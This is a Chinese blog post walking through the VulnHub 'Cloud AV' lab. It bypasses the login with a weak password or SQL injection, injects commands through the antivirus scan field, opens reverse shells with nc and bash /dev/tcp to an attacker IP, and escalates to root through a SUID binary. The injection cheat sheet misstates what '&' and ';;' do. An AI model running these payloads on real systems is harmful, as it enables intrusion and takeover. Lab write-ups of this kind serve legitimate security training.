首页 > 其他分享 >easy_cloudantivirus

easy_cloudantivirus

时间:2023-09-27 23:12:16浏览次数:30  
标签:cloudantivirus SUID nc cmd1 cmd2 提权 easy 执行

靶场地址

https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/

 

渗透过程

 端口扫描,发现开放 8080 端口,后端脚本使用的 Python

看到登录框,最直接的反应要么弱口令暴破,要么存在注入,

嗯,弱口令:

 当然,双引号引发了报错,也存在注入:

 所以弱口令,或者万能密码 " or 1 -- - 都可以进后台

 看这个功能,是提交一个文件名,服务器上的杀毒软件接收该参数后会执行杀毒命令,所以可能存在命令注入:

 这里正好整理一下命令注入常用的符号(不全):

cmd1 | cmd2            将cmd1的输出作为cmd2的输入
cmd1 & cmd2            先执行cmd2,再执行cmd1,且cmd1设置为后台进程
cmd1 && cmd2           cmd1执行成功才执行cmd2,否则不执行
cmd1 || cmd2           如果cmd1执行失败,则执行cmd2,在返回真的地方停止执行
cmd1 ; cmd2            顺序执行,彼此之间不关心是否失败,所有命令都会执行
cmd ;; cmd2            顺序执行,但只有在前一个命令成功时才会运行后一个命令
`cmd`                  将反引号内部的命令执行,并将其输出作为字符串返回
$(cmd)                 与反引号相同的效果

 能执行命令,接下来肯定就是反弹shell了,上个靶场用的 Python,这个当然也可以用不过我练习一下其他的:

(1)nc

nc 有 -e 参数的版本:

nc -lvnp <port>                                控制端监听端口
nc <vps_ip> <port> -e /bin/bash                被控端反向连接

nc 无 -e 参数:

nc -lvnp <port1>                          控制端监听端口1
nc -lvnp <port2>                          控制端监听端口2
nc <vps_ip> <port1> | /bin/sh | nc <vps_ip> <port2>     被控端执行

 (2)管道符 |

echo 'bash -i >& /dev/tcp/10.180.1.6/7777 0>&1'|bash    # 输出反弹 shell 的字符串作为输入发送给 bash 执行

 在当前目录的上一级目录,发现了一个源文件,简单看一下源代码:

 /usr/bin/freshclam 是 ClamAV 的病毒数据库更新工具不用管,argc 代表 C/C++ 的命令行参数的个数,代码中先判断是否参数 < 2,即有没有输入参数,没有就直接 return 了,然后就是这条命令开辟内存空间用于执行。然后有两行重要的代码,这是提权的关键。

setuid(0):这个函数会将进程的 UID 设置为 0,也就是 root 用户。这意味着该进程将以 root 用户的权限运行;

setgid(0):这个函数会将进程的 GID 设置为 0,也就是 root 组。这意味着该进程将以 root 组的权限运行。

最后直接运行命令,没有任何的过滤,所以,提权的思路就是 SUID 提权了:root 权限运行,有 s 标志位

 命令注入,提权成功:

 Linux SUID 提权

SUID 是给予程序或文件一个特殊的权限,可以让程序执行者临时拥有文件所有者的权限去执行,执行结束后权限将被回收。

SUID 提权的步骤:

1. 寻找携带 SUID 权限的文件

find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm -u=s -type f 2>/dev/null              # /dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容
find / -user root -perm -4000 -print 2>/dev/null

 2. 使用具有SUID权限的命令结合exec进行提权

假设 find 命令具有 SUID:

find /tmp/a.txt -exec whoami \;

 

标签:cloudantivirus,SUID,nc,cmd1,cmd2,提权,easy,执行
From: https://www.cnblogs.com/m0x1ng/p/17728644.html

相关文章

  • 安防视频平台EasyCVR视频调阅全屏播放显示异常是什么原因?
    安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快,可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安防视频监控的能力,也具备接入AI智能分析的能......
  • 【操作】国标GB28181视频监控EasyGBS平台更新设备信息时间间隔
    国标GB28181协议视频平台EasyGBS是基于GB28181协议的视频监控云服务平台,可支持多路设备同时接入,并对多平台、多终端分发出RTSP、RTMP、FLV、HLS、WebRTC等格式的视频流。平台可提供视频监控直播、云端录像、云存储、检索回放、智能告警、语音对讲、平台级联等功能,在视频能力上,GB281......
  • easy读取excel数据,包含合并数据
    实例数据 1.监听器:@Slf4jpublicclassCustomAnalysisEventListener<T>extendsAnalysisEventListener<T>{privateintheadRowNum;publicCustomAnalysisEventListener(intheadRowNum){this.headRowNum=headRowNum;}privateList<......
  • 视频融合/监控汇聚平台EasyCVR助力AI算法智能防溺水,实现水域监管
    防溺水已经成为青少年安全教育的重要内容,同时也是社会各界共同承担的安全管理责任。特别是在夏季,随着天气逐渐转热,溺水事故也进入了危险期、易发期和高发期。传统的预防和管理方法主要通过日常宣传演讲和人工巡逻来提醒人们溺水的危害,但存在一些问题:1)缺乏有效的安全预警设施:当人......
  • 使用EasyExcel 导入数据,失败原因数据导出
    引言在日常开发过程中,Excel导入是非常常见的场景,而且也有很多开源的项目是针对Excel的读写的,如Apache的poi,最近用的比较好的还是阿里的EasyExcel开源工具。平时我们只是简单的读取文件并写入数据库持久化即可,但是前段时间,产品搞了个需求,需要将导入失败的数据及原因写入Excel......
  • 监控汇聚平台EasyCVR中视频监控系统原理分析
    安防视频监控平台EasyCVR是一个具有强大拓展性、灵活的视频能力和轻便部署的平台。它支持多种主流标准协议,包括国标GB28181、RTSP/Onvif、RTMP等,还可以支持厂家的私有协议和SDK接入,例如海康Ehome、海大宇等设备的SDK。该平台不仅拥有传统安防视频监控的功能,还具备接入AI智能分析的......
  • 带您了解视频监控/视频汇聚系统EasyCVR的五大职能
    安防视频监控平台EasyCVR是一个具有强大拓展性、灵活的视频能力和轻便部署的平台。它支持多种主流标准协议,包括国标GB28181、RTSP/Onvif、RTMP等,还可以支持厂家的私有协议和SDK接入,例如海康Ehome、海大宇等设备的SDK。该平台不仅拥有传统安防视频监控的功能,还具备接入AI智能分析的......
  • 安防视频监控平台EasyCVR测温光纤管道泄漏监测方案
    很多管道关系着社会的正常运转,如煤气管道、天然气管道、输油管道、供水管道等,由于使用环境影响加上使用时间不断增长,机械施工或人为破坏等因素都能使管道出现损伤、泄漏等事故,容易造成严重的影响,如能及时发现可预防大的损失发生。 对于地埋管道的监测,存在以下限制和问题:首先,地......
  • 视频融合平台EasyCVR如何使用视频监控系统搭建电商货物可视化追溯解决方案
    安防视频监控平台EasyCVR是一个具有强大拓展性、灵活的视频能力和轻便部署的平台。它支持多种主流标准协议,包括国标GB28181、RTSP/Onvif、RTMP等,还可以支持厂家的私有协议和SDK接入,例如海康Ehome、海大宇等设备的SDK。该平台不仅拥有传统安防视频监控的功能,还具备接入AI智能分析的......
  • 视频监控\安防视频监控平台EasyCVR的远程控制有什么意义?
    EasyCVR国标视频融合云平台采用端-边-云一体化架构,具备海量视频接入、汇聚与管理、处理及分发等视频能力。该平台部署简单轻量,功能灵活多样。在视频能力方面,它可以实时视频直播、语音对讲、录像回放、云存储等,以实现动火作业现场的在线监测和作业安全预警。此外,还能进行报警联动和......